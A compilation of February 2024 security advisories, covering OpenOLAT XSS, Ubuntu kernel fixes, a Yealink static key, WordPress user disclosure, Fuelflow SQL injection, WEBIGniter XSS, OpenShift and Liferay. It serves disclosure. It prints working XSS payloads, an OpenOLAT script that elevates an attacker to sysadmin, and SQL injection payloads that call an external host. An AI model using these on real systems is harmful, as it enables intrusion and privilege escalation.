OpenOLAT versions 18.1.4 and below and versions 18.1.5 and below suffer from multiple persistent cross site scripting vulnerabilities.

SEC Consult Vulnerability Lab Security Advisory < 20240220-0 >  
=======================================================================  
               title: Multiple Stored Cross-Site Scripting Vulnerabilities  
             product: OpenOLAT (Frentix GmbH)  
  vulnerable version: <= 18.1.4 and <= 18.1.5  
       fixed version: 18.1.6 / 18.2  
          CVE number: CVE-2024-25973, CVE-2024-25974  
              impact: High  
            homepage: https://www.openolat.com/  
               found: 2023-12-20 and 2024-01-20  
                  by: Mike Klostermaier (Office Berlin)  
                      Johannes Völpel (Office Berlin)  
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Eviden business  
                      Europe | Asia

                      https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"frentix operates in the areas of e-learning, software development, multimedia  
and media production. Providing information and lasting impressions – we  
try to reconcile this goal in the area of tension between technology, usability  
and design."

"The LMS OpenOlat is an internet-based learning platform for teaching, learning,  
assessment and communication, an LMS, a learning management system."

Source: https://www.openolat.com/unternehmen/

Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product  
conducted by security professionals to identify and resolve potential further  
security issues.

Vulnerability overview/description:  
-----------------------------------  
1) Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973)  
Insufficient filtering and sanitization of user input leads to the creation  
of groups, courses and other resources that contain XSS payloads.  
This allows an attacker to execute JavaScript code with the permissions of the  
victim in the context of the user's browser.

2) Privilege escalation via XSS due to insecure CSP  
If the content security policy is not set securely and there is content on  
the same page that can be manipulated by the attacker, a privilege  
escalation can take place.

3) Stored Cross-Site-Scripting within the Media Center (CVE-2024-25974)  
Insufficient filtering and sanitization of malicious files uploaded by a user  
leads to stored resources within the Media Center that could contain XSS payloads.  
This allows an attacker to execute JavaScript code with the permissions of the  
victim in the context of the user's browser.

Proof of concept:  
-----------------  
1) Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973)  
Various XSS issues have been found in different functions of OpenOLAT.  
The following examples show different attack scenarios.

Example 1 - Stored Cross-Site-Scripting within Coursenames  
Due to insufficient filtering and sanitization of user input, an attacker  
with rights to create or edit groups can create a course with a name that  
contains an XSS payload. When a user edits this course the name including  
the payload is displayed and executed. Furthermore, the XSS payload is  
executed when editing the course via the course-editor, within the course-editor's  
"layout" tab inside the preview. This also happens multiple times at multiple  
locations during the publishing workflow.

The following payload was used as coursename:  
```  
<img src=x onerror=alert('from\u0020subcat\u0020title')>  
```

Example 2 - Stored Cross-Site-Scripting within Catalogname  
An attacker, who is authenticated with rights that allow creating or renaming  
catalogs, is able to create a catalog (also called sub-category) with a name that  
contains an XSS payload due to insufficient filtering and sanitization of user  
input.  
When a user publishes a course, the name of the catalog including the  
payload is displayed and executed within the "Create catalog entry" tab  
when selecting "Add to catalog".

The following payload was used as the catalog name:  
```  
<img src=x onerror=alert('from\u0020subcat\u0020title')>  
```

Example 3 - Stored Cross-Site-Scripting within Curriculum Management  
An authenticated user of a role, who has the authorization to create  
curriculums, is able to create curriculums, whose name contains a JavaScript  
payload. These are shown to the members in some views where the JavaScript  
payload is executed. To do this, navigate to the overview of the curriculums  
via "Curriculum management".  
A curriculum can be created via the "Create new curriculum" button in the  
window that appears. To recreate the vulnerability, it is sufficient to  
enter a JavaScript payload as the identifier.

The following payload was used as curriculum name:  
```  
<img src=x onerror=alert('from\u0020subcat\u0020title')>  
```  
When a user with sufficient rights opens the manipulated curriculum via the  
"curriculum browser" within the "Curriculum management" the payload within  
the curriculum name gets executed within the context of the user's browser.

Example 4 - Stored Cross-Site-Scripting within Alt-Text of Media-Files  
An attacker, who is authenticated with rights that allow uploading files,  
can upload media files via the "Media Centre" and enter metadata for these  
files. One of the fields used for image metadata is the so-called alt-text  
field, which is used to enter an alternative display text for image files.  
This alternative text is not sanitized properly when entered during the upload  
of files.

The following payload was assigned to an image file as alt-text:  
```  
"><img src=a onerror=alert(document.location)>  
```

The upload of the image file works without further problems and is confirmed.  
After successfully uploading the image with a manipulated alt-text, the  
transmitted payload is executed directly. Using the function to share content  
with other users, this manipulated image can be shared to potential victims  
(e.g. a system administrator). The user to whom the image has been shared with  
can preview it in their media center. As soon as the user views the image details,  
the JavaScript payload stored within the alt-text is executed in the context  
of the victim's browser.

2) Privilege escalation due to unsafe-eval  
If the content security policy is not set securely and there is content on the  
same page that can be manipulated by the attacker, a privilege escalation  
can take place. As the content security policy is set to "Report-Only" and  
"unsafe-eval" is set by default in OpenOLAT, it can be possible to use the  
following attack at least in most cases shown here using stored XSS.

An example that loads a script from an external source was not used here,  
as this would not have been possible with an activated CSP, whereas this  
vulnerability can also be exploited with an activated standard CSP from  
OpenOLAT.  
The following example can be used at any given point where a XSS is possible  
and another string can be manipulated within a readable context:  
```  
"><img src=x onerror='var ps = document.querySelectorAll(`p`); for (var i = 0; i  
< ps.length; i++) { var c = ps[i].textContent; if (c.startsWith(`YXN`))  
{ eval(atob(c)); } }'  
```

This JavaScript code searches the website for elements that begin  
with a certain string (in our example "YXN"), decodes them from base64 and  
executes them (due to the unsafe-eval policy) as JavaScript code.  
This has been tested to be working with example 4 with the above payload  
as the alt-text and the payload mentioned below as the description of the  
media file.  
The string "YXN" is the start of the base64-encoded following payload:  
```  
async function main() {  
     function sleep(ms) {  
         return new Promise(resolve => setTimeout(resolve, ms));  
     }  
     var n = 2000;  
     var anchorElement = document.querySelector('a[title="Manage users and system groups"]');  
  anchorElement.click();  
     await sleep(n);  
     var buttons = document.querySelectorAll('a[title="Organisations"]');  
     buttons[0].click();  
     await sleep(n);  
     var links = document.querySelectorAll('a');  
     var organisationLink = Array.from(links).find(function (link) {  
         return link.textContent === 'OpenOLAT';  
     });  
     organisationLink.click();  
     await sleep(n);  
     var links = document.querySelectorAll('a');  
     var chadLink = Array.from(links).find(function (link) {  
         return link.textContent === 'Chad';  
     });  
     await sleep(n);  
     chadLink.click();  
     await sleep(n);  
     var roleTabLinks = document.querySelectorAll('a[role="tab"]');  
     var rolesLink = Array.from(roleTabLinks).find(function (link) {  
         return link.textContent === 'Roles';  
     });  
     await sleep(n);  
     rolesLink.click();  
     await sleep(n);  
     var inputElement = document.querySelector('input[value="administrator"]');  
     inputElement.click();  
     await sleep(n);  
     var inputElement = document.querySelector('input[value="sysadmin"]');  
     inputElement.click();  
     await sleep(n);  
     var saveButton = document.querySelector('button[value="Save"]');  
     saveButton.click();  
}  
main();  
```

The code shown here utilizes the static structure of OpenOLAT. The use of  
control elements is predictable, as long as the name of the organization used  
within the OpenOLAT instance is known. This information is freely accessible to  
every logged-in user. Lines 14 and 20 contain variables which must be adapted  
to the corresponding OpenOLAT instance and attacker username. The executed  
script searches for HTML elements with predictable names in order to navigate  
to an administrative interface within the application and elevate the  
attacker's rights to administrative level.

The script works with two-second pauses between the individual actions  
to ensure that all actions are only executed after the page has loaded. Even  
if this is visible to the victim, the waiting times between the actions can be  
optimized in a real attack and can also be used with the help of obfuscation  
measures (e.g. additional windows that open and hide the actions).

3) Stored Cross-Site-Scripting (XSS) within the Media-Center (CVE-2024-25974)  
It is possible to upload files within the Media Center of OpenOLAT version 18.1.5  
as an authenticated user without any other rights.  
While the filetypes are limited, an SVG containing an XSS payload can be  
uploaded. The following content has been uploaded within a file  
named 'xss.svg':  
```  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<script type="text/javascript">  
     alert(document.location);  
</script>  
</svg>  
```

After a successful upload the file can be shared with groups of users.  
By sharing the file with a group of which an administrator is part of, the  
administrator can access the file and open it, which will open the file in a  
new tab within the browser. This leads to the execution of the shown script and  
will display a message window stating the current domain and path.

Vulnerable / tested versions:  
-----------------------------  
The following versions has been tested which was the latest version available  
at the time of the test:  
* OpenOLAT 18.1.4 Vulnerability 1 and 2  
* OpenOLAT 18.1.5 Vulnerability 3

OpenOLAT version 18.2 was verified whether the identified issues were properly  
fixed.

Vendor contact timeline:  
------------------------  
2024-01-10: Contacting vendor through contact@frentix.com  
2024-01-10: Very quick vendor response within an hour, sending security  
             advisory to provided contact.  
2024-01-10: Feedback from vendor that we submitted known/already fixed issues  
             for version 18.1.  
             Retesting latest version 18.1.4, but only three of our submitted  
             issues had been fixed before (removed from advisory), found  
             additional, new XSS issues again in latest version.  
2024-01-11: Sending updated security advisory to the vendor.  
2024-01-11: Quick feedback from vendor declaring example 1 to 3 as accepted  
             risk, as authors have a trusted position and XSS is only seen as  
             a risk if the attacker is unauthenticated or has low privileges.  
             Example 4 will be patched with the upcoming release. No comment  
             from the vendor on vulnerability 2 regarding the unsafe default  
             configuration.  
2024-01-11: Sending examples 1 to 3 and explaining the risk potential from an  
             attacker's perspective to the vendor. Co-ordination with the vendor  
             regarding the release date of the new version, which includes a fix  
             for example 4. Asking again about the standard configuration  
             mentioned in vulnerability 2 and the vendor's position or judgement  
             on this.  
2024-01-11: Quick reply from the vendor confirming the release date of the new  
             version on 2024-01-17. With regard to examples 1 to 3, the vendor  
             confirmed that no fix is planned. Reference is made to modules in  
             development which will replace the modules containing  
             vulnerabilities in the course of upcoming releases. With regard  
             to privilege escalation, which is enabled by the CSP in chapter 2,  
             the vendor points out that the "unsafe-eval" or "unsafe-inline"  
             option cannot simply be deactivated in the architecture currently  
             in use. With regard to the "report-only" setting of the CSP, the  
             vendor refers to the lack of possibilities to enforce this on  
             the part of the vendor. However, the vendor advises customers to  
             activate it.  
2024-01-17: Release of version 18.1.5 by the vendor. A fix of example 1, 2 and 4  
             was verified by the researchers within this version. Example 3 as  
             well as the CSP from chapter 2 are still exploitable. The PoC code  
             snipped has been redacted in example 3.  
2024-01-18: Mail from vendor, informing us about the release of the patched  
             version. Vendor states, that the development of OpenOLAT will use  
             all points from this advisory as guidance for further improvements.  
2024-01-19: Sending mail to vendor confirming that the examples 1, 2 and 4  
             are fixed. Submitted updated draft of this advisory.  
2024-01-21: Informing vendor about new found XSS within the Media Center, which  
             has been added to this advisory as vulnerability 3 (SVG).  
2024-01-21: Fast response from vendor informing us, that the found XSS will be  
             fixed with an update at the end of January.  
2024-01-23: Sending mail to the vendor thanking for the quick reply.  
2024-01-31: Release of version 18.1.6 by the vendor.  
2024-02-09: The researchers can confirm, that all vulnerabilities mentioned  
             within chapters 1 and 3 are fixed and can no longer be exploited.  
             Vulnerability 2 still works as documented. Informing the vendor,  
             that we can confirm the fix and thanking again for the quick and  
             solution-oriented communication.  
2024-02-09: Vendor: Systematic search for further XSS issues, version 18.2.1  
             contains even more fixes. Version 19 will have CSP enabled by  
             default.  
2024-02-13: Assigning CVE numbers.  
2024-02-20: Coordinated release of security advisory.

Solution:  
---------  
The vendor provided a patched version 18.1.6 / 18.2 or higher which can be downloaded  
from:  
https://www.openolat.com/releases/

Additionally, it is advised to set the Content-Security-Policy active, instead  
of "Report-Only" as well as configuring it as strictly as possible. The upcoming  
version 19 will enable CSP by default.

Workaround:  
-----------  
None

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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An integrated part of SEC Consult, an Eviden business  
Europe | Asia

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EOF Johannes Völpel & Mike Klostermaier / @2024

OpenOLAT 18.1.5 Cross Site Scripting / Privilege Escalation

Ubuntu Security Notice 6647-1 - It was discovered that a race condition existed in the ATM subsystem of the Linux kernel, leading to a use-after-free vulnerability. A local attacker could use this to cause a denial of service or possibly execute arbitrary code. It was discovered that a race condition existed in the Rose X.25 protocol implementation in the Linux kernel, leading to a use-after- free vulnerability. A local attacker could use this to cause a denial of service or possibly execute arbitrary code.

    ==========================================================================Ubuntu Security Notice USN-6647-1February 21, 2024linux, linux-aws, linux-aws-hwe, linux-azure, linux-azure-4.15, linux-gcp,linux-gcp-4.15, linux-hwe, linux-kvm, linux-oracle vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 18.04 LTS (Available with Ubuntu Pro)- Ubuntu 16.04 LTS (Available with Ubuntu Pro)Summary:Several security issues were fixed in the Linux kernel.Software Description:- linux: Linux kernel- linux-aws: Linux kernel for Amazon Web Services (AWS) systems- linux-azure-4.15: Linux kernel for Microsoft Azure Cloud systems- linux-gcp-4.15: Linux kernel for Google Cloud Platform (GCP) systems- linux-kvm: Linux kernel for cloud environments- linux-oracle: Linux kernel for Oracle Cloud systems- linux-aws-hwe: Linux kernel for Amazon Web Services (AWS-HWE) systems- linux-azure: Linux kernel for Microsoft Azure Cloud systems- linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems- linux-hwe: Linux hardware enablement (HWE) kernelDetails:It was discovered that a race condition existed in the ATM (AsynchronousTransfer Mode) subsystem of the Linux kernel, leading to a use-after-freevulnerability. A local attacker could use this to cause a denial of service(system crash) or possibly execute arbitrary code. (CVE-2023-51780)It was discovered that a race condition existed in the Rose X.25 protocolimplementation in the Linux kernel, leading to a use-after- freevulnerability. A local attacker could use this to cause a denial of service(system crash) or possibly execute arbitrary code. (CVE-2023-51782)It was discovered that the netfilter connection tracker for netlink in theLinux kernel did not properly perform reference counting in some errorconditions. A local attacker could possibly use this to cause a denial ofservice (memory exhaustion). (CVE-2023-7192)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 18.04 LTS (Available with Ubuntu Pro):   linux-image-4.15.0-1128-oracle  4.15.0-1128.139   linux-image-4.15.0-1149-kvm     4.15.0-1149.154   linux-image-4.15.0-1159-gcp     4.15.0-1159.176   linux-image-4.15.0-1165-aws     4.15.0-1165.178   linux-image-4.15.0-1174-azure   4.15.0-1174.189   linux-image-4.15.0-222-generic  4.15.0-222.233   linux-image-4.15.0-222-lowlatency  4.15.0-222.233   linux-image-aws-lts-18.04       4.15.0.1165.163   linux-image-azure-lts-18.04     4.15.0.1174.142   linux-image-gcp-lts-18.04       4.15.0.1159.173   linux-image-generic             4.15.0.222.206   linux-image-kvm                 4.15.0.1149.140   linux-image-lowlatency          4.15.0.222.206   linux-image-oracle-lts-18.04    4.15.0.1128.133   linux-image-virtual             4.15.0.222.206Ubuntu 16.04 LTS (Available with Ubuntu Pro):   linux-image-4.15.0-1128-oracle  4.15.0-1128.139~16.04.1   linux-image-4.15.0-1159-gcp     4.15.0-1159.176~16.04.1   linux-image-4.15.0-1165-aws     4.15.0-1165.178~16.04.1   linux-image-4.15.0-1174-azure   4.15.0-1174.189~16.04.1   linux-image-4.15.0-222-generic  4.15.0-222.233~16.04.1   linux-image-4.15.0-222-lowlatency  4.15.0-222.233~16.04.1   linux-image-aws-hwe             4.15.0.1165.148   linux-image-azure               4.15.0.1174.158   linux-image-gcp                 4.15.0.1159.149   linux-image-generic-hwe-16.04   4.15.0.222.6   linux-image-gke                 4.15.0.1159.149   linux-image-lowlatency-hwe-16.04  4.15.0.222.6   linux-image-oem                 4.15.0.222.6   linux-image-oracle              4.15.0.1128.109   linux-image-virtual-hwe-16.04   4.15.0.222.6After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-6647-1   CVE-2023-51780, CVE-2023-51782, CVE-2023-7192

Ubuntu Security Notice USN-6647-1

Ubuntu Security Notice 6646-1 - It was discovered that a race condition existed in the ATM subsystem of the Linux kernel, leading to a use-after-free vulnerability. A local attacker could use this to cause a denial of service or possibly execute arbitrary code. It was discovered that a race condition existed in the Rose X.25 protocol implementation in the Linux kernel, leading to a use-after- free vulnerability. A local attacker could use this to cause a denial of service or possibly execute arbitrary code.

    ==========================================================================Ubuntu Security Notice USN-6646-1February 20, 2024linux, linux-aws, linux-kvm, linux-lts-xenial vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 16.04 LTS (Available with Ubuntu Pro)- Ubuntu 14.04 LTS (Available with Ubuntu Pro)Summary:Several security issues were fixed in the Linux kernel.Software Description:- linux: Linux kernel- linux-aws: Linux kernel for Amazon Web Services (AWS) systems- linux-kvm: Linux kernel for cloud environments- linux-lts-xenial: Linux hardware enablement kernel from Xenial for TrustyDetails:It was discovered that a race condition existed in the ATM (AsynchronousTransfer Mode) subsystem of the Linux kernel, leading to a use-after-freevulnerability. A local attacker could use this to cause a denial of service(system crash) or possibly execute arbitrary code. (CVE-2023-51780)It was discovered that a race condition existed in the Rose X.25 protocolimplementation in the Linux kernel, leading to a use-after- freevulnerability. A local attacker could use this to cause a denial of service(system crash) or possibly execute arbitrary code. (CVE-2023-51782)It was discovered that the netfilter connection tracker for netlink in theLinux kernel did not properly perform reference counting in some errorconditions. A local attacker could possibly use this to cause a denial ofservice (memory exhaustion). (CVE-2023-7192)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 16.04 LTS (Available with Ubuntu Pro):   linux-image-4.4.0-1129-kvm      4.4.0-1129.139   linux-image-4.4.0-1166-aws      4.4.0-1166.181   linux-image-4.4.0-251-generic   4.4.0-251.285   linux-image-4.4.0-251-lowlatency  4.4.0-251.285   linux-image-aws                 4.4.0.1166.170   linux-image-generic             4.4.0.251.257   linux-image-generic-lts-xenial  4.4.0.251.257   linux-image-kvm                 4.4.0.1129.126   linux-image-lowlatency          4.4.0.251.257   linux-image-lowlatency-lts-xenial  4.4.0.251.257   linux-image-virtual             4.4.0.251.257   linux-image-virtual-lts-xenial  4.4.0.251.257Ubuntu 14.04 LTS (Available with Ubuntu Pro):   linux-image-4.4.0-1128-aws      4.4.0-1128.134   linux-image-4.4.0-251-generic   4.4.0-251.285~14.04.1   linux-image-4.4.0-251-lowlatency  4.4.0-251.285~14.04.1   linux-image-aws                 4.4.0.1128.125After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-6646-1   CVE-2023-51780, CVE-2023-51782, CVE-2023-7192

Ubuntu Security Notice USN-6646-1

A single, vendorwide, hardcoded AES key in the Yealink Configuration Encrypt Tool used to encrypt provisioning documents was leaked leading to a compromise of confidentiality of provisioning documents.

    CloudAware Security AdvisoryCVE-2024-24681: Insecure AES key in Yealink Configuration Encrypt Tool========================================================================Summary========================================================================A single, vendorwide, hardcoded AES key in the configuration tool used toencrypt provisioning documents was leaked leading to a compromise ofconfidentiality of provisioning documents.========================================================================Product========================================================================* Yealink Configuration Encrypt Tool (AES version)* Yealink Configuration Encrypt Tool (RSA version <v1.2)========================================================================Detailed description========================================================================The Yealink Configuration Encrypt Tool facilites provisioning and configuration mangementof Yealink products, such as VoIP phones. The tool created AES encrypted provisioningdocuments, containing configuration directives such asusername=user1passwword=passw0rd!serverhost=sip.host.comcallerid=+19051231212The files created by this tool are then transferred to the Yealink equipment. The equipmentdecrypts the files and uses them to configure itself.This process needs to be secure. So these files are encrypted.The decryption is done by a static, hardcoded, key that is identical across all installs andcustomers. After decryption of this file by the hardcoded AES key confidential information,such as user passwords are visible in plain text.This implies that knowledge of this hardcoded key allows for the disclosure of sensitiveinformation from the configuration files, or that files with different information can beintroduced and are axiomatically trusted by the phone.As this key is static - this includes historic files from any customer that used this tool.The vendor has fixed this in version 1.2 of the Configuration Encrypt Tool.========================================================================Solution========================================================================1) Upgrade Yealink Configuration Encrypt Tool to version 1.22) Evaluate the impact of the disclosure of any configurations rolled out withprior versions of this tool (including, specifically, the leaking of passwords)========================================================================Mitigation========================================================================1) If an upgrade is not an option - as `anyone' can create valid configurationfiles; ensure that affected equipment is unable to reach provisioning servers.2) Evaluate the impact of the disclosure of any configurations rolled out priorto these mitigation steps========================================================================Weblinks========================================================================https://github.com/gitaware/CVE/tree/main/CVE-2024-24681========================================================================History========================================================================early 2020, release of Configuration Encrypt Tool v1 containing RSA encryption methodjuli 2022, Yealink informed “old” AES key still present and working in tool2023, new version of Configuration Encrypt Tool v1.2 without a hardcoded AESencryptionkey

Yealink Configuration Encrypt Tool Static AES Key

WordPress versions 6.4.3 and below appear to suffer from a REST API related username disclosure vulnerability.

    # Title: wordpress 6.4.3 - Username Disclosure# Author: h4shur# date:2024-02-21# Vendor Homepage: https://www.wordpress.org# Software Link: https://www.wordpress.org/download# Version:  6.4.3 and earlier# Tested on: Windows 10 & Google Chrome# Category : Web Application Bugs### Description :the REST API allows simulating different request types. As such, we canperform a POST request with the “users” string in the body of the request,and tell the REST API to act like it’s received a GET request.You can see the management username in the "slug" feature. And evensecurity plugins like "iThemes Security" do not block this path.### POC :https://target.com/wp-json/?rest_route=/wp/v2/users/# output :[{"id":1,"name":"admin","url":"https:\/\/target.com","description":"","link":"https:\/\/target.com\/?author=1","slug":"admin_1l","avatar_urls":{"24":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=24&d=mm&r=g","48":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=48&d=mm&r=g","96":"https:\/\/secure.gravatar.com\/avatar\/f796ffd8af7172647b2f54ce8104919e?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https:\/\/target.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"collection":[{"href":"https:\/\/target.com\/index.php?rest_route=\/wp\/v2\/users"}]}}]### Admin Panel :https://target.com/wp-adminhttps://target.com/login.php### contact :h4shursec@gmail.comtwitter.com/h4shurinstagram.com/h4shurt.me/h4shur

WordPress 6.4.3 Username Disclosure

Fuelflow version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: fuelflow-1.0-Copyright-©-2024-Project-Develop-by-Mayuri-K-Multiple-SQLi## Author: nu11secur1ty## Date: 02/21/24## Vendor: https://www.mayurik.com/## Software: https://www.mayurik.com/source-code/P3584/best-petrol-pump-management-software## Reference: https://portswigger.net/web-security/sql-injection## Description:The email parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\pibamkpyl8vvxbe3ljxtlrrih9n2buzl29uwkk9.tupaputka.com\\xvb'))+'was submitted in the email parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed. The attacker can receive very sensitive informationabout this system by using these vulnerabilities!STATUS: HIGH-Vulnerability[+]Payload:```mysql---Parameter: email (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: email=-5782' OR 2852=2852 OR'nYvi'='GjbH&password=h3I!y3o!F9&submit=    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: email=mOsqQatz@burpcollaborator.net'+(selectload_file('\\\\pibamkpyl8vvxbe3ljxtlrrih9n2buzl29uwkk9.oastify.com\\xvb'))+''AND (SELECT 9621 FROM(SELECT COUNT(*),CONCAT(0x7178706271,(SELECT(ELT(9621=9621,1))),0x7178787671,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR'BiVP'='cVHj&password=h3I!y3o!F9&submit=    Type: stacked queries    Title: MySQL >= 5.0.12 stacked queries (comment)    Payload: email=mOsqQatz@burpcollaborator.net'+(selectload_file('\\\\pibamkpyl8vvxbe3ljxtlrrih9n2buzl29uwkk9.oastify.com\\xvb'))+'';SELECTSLEEP(7)#&password=h3I!y3o!F9&submit=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: email=mOsqQatz@burpcollaborator.net'+(selectload_file('\\\\pibamkpyl8vvxbe3ljxtlrrih9n2buzl29uwkk9.oastify.com\\xvb'))+''AND (SELECT 3257 FROM (SELECT(SLEEP(7)))QSTs) OR'Lshu'='MGpY&password=h3I!y3o!F9&submit=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2024/fuelflow-1.0-Copyright-%C2%A9-2024-Project-Develop-by-Mayuri-K-Multiple-SQLi)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/02/fuelflow-10-copyright-2024-project.html)## Time spent:00:35:00

Fuelflow 1.0 SQL Injection

WEBIGniter version 28.7.23 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS)# Exploit Author: Sagar Banwa# Date: 19/10/2023# Vendor: https://webigniter.net/# Software: https://webigniter.net/demo# Reference: https://portswigger.net/web-security/cross-site-scripting# Tested on: Windows 10/Kali Linux# CVE : CVE-2023-46391Stored Cross-site scripting(XSS):Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.Steps-To-Reproduce:1. Login to the Account 2. Go to the Categories.3. Now add catagory > Name section use payload : "><script>alert(1)</script> and choose layoutfile as cat.phpRequest POST /cms/categories/add HTTP/2Host: demo.webigniter.netCookie: ci_session=iq8k2mjlp2dg4pqa42m3v3dn2d4lmtjb; hash=6ROmvkMoHKviB4zypWJXmjIv6vhTQlFw6bdHlRjXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 94Origin: https://demo.webigniter.netReferer: https://demo.webigniter.net/cms/categories/addUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersname=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&slug=scriptalert1script&layout_file=cat.php

WEBIGniter 28.7.23 Cross Site Scripting

Red Hat Security Advisory 2024-0832-03 - Red Hat OpenShift Container Platform release 4.12.50 is now available with updates to packages and images that fix several bugs. Issues addressed include denial of service and traversal vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_0832.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Critical: OpenShift Container Platform 4.12.50 security and extras update  
Advisory ID:        RHSA-2024:0832-03  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:0832  
Issue date:         2024-02-21  
Revision:           03  
CVE Names:          CVE-2023-49568  
====================================================================

Summary: 

Red Hat OpenShift Container Platform release 4.12.50 is now available with updates to packages and images that fix several bugs.

This release includes a security update for Red Hat OpenShift Container Platform 4.12.

Red Hat Product Security has rated this update as having a security impact of  Critical. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.12.50. See the following advisory for the container images for this release:

https://access.redhat.com/errata/RHSA-2024:0833

Security Fix(es):

* go-git: Maliciously crafted Git server replies can lead to path traversal  
and RCE on go-git clients (CVE-2023-49569)  
* go-git: Maliciously crafted Git server replies can cause DoS on go-git  
clients (CVE-2023-49568)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

All OpenShift Container Platform 4.12 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.openshift.com/container-platform/4.12/updating/updating-cluster-cli.html

Solution:

https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

CVEs:

CVE-2023-49568

References:

https://access.redhat.com/security/updates/classification/#critical  
https://bugzilla.redhat.com/show_bug.cgi?id=2258143  
https://bugzilla.redhat.com/show_bug.cgi?id=2258165

Red Hat Security Advisory 2024-0832-03

Stored cross-site scripting (XSS) vulnerability in the Document and Media widget in Liferay Portal 7.4.3.18 through 7.4.3.101, and Liferay DXP 2023.Q3 before patch 6, and 7.4 update 18 through 92 allows remote authenticated users to inject arbitrary web script or HTML via a crafted payload injected into a document's “Title” text field.

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1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2023-47795

**Liferay Portal Document and Media widget and Liferay DXP vulnerable to stored Cross-site Scripting**

Critical severity GitHub Reviewed Published Feb 21, 2024 to the GitHub Advisory Database • Updated Feb 21, 2024

**Package**

maven com.liferay.portal:release.dxp.bom (Maven)

**Affected versions**

\>= 2023.Q3, < 2023.Q3.6

\>= 7.4.13.u18, <= 7.4.13.u92

**Patched versions**

2023.Q3.6

2023.Q3.6

maven com.liferay.portal:release.portal.bom (Maven)

\>= 7.4.3.18, <= 7.4.3.101

**Description**

Published to the GitHub Advisory Database

Feb 21, 2024

Last updated

Feb 21, 2024

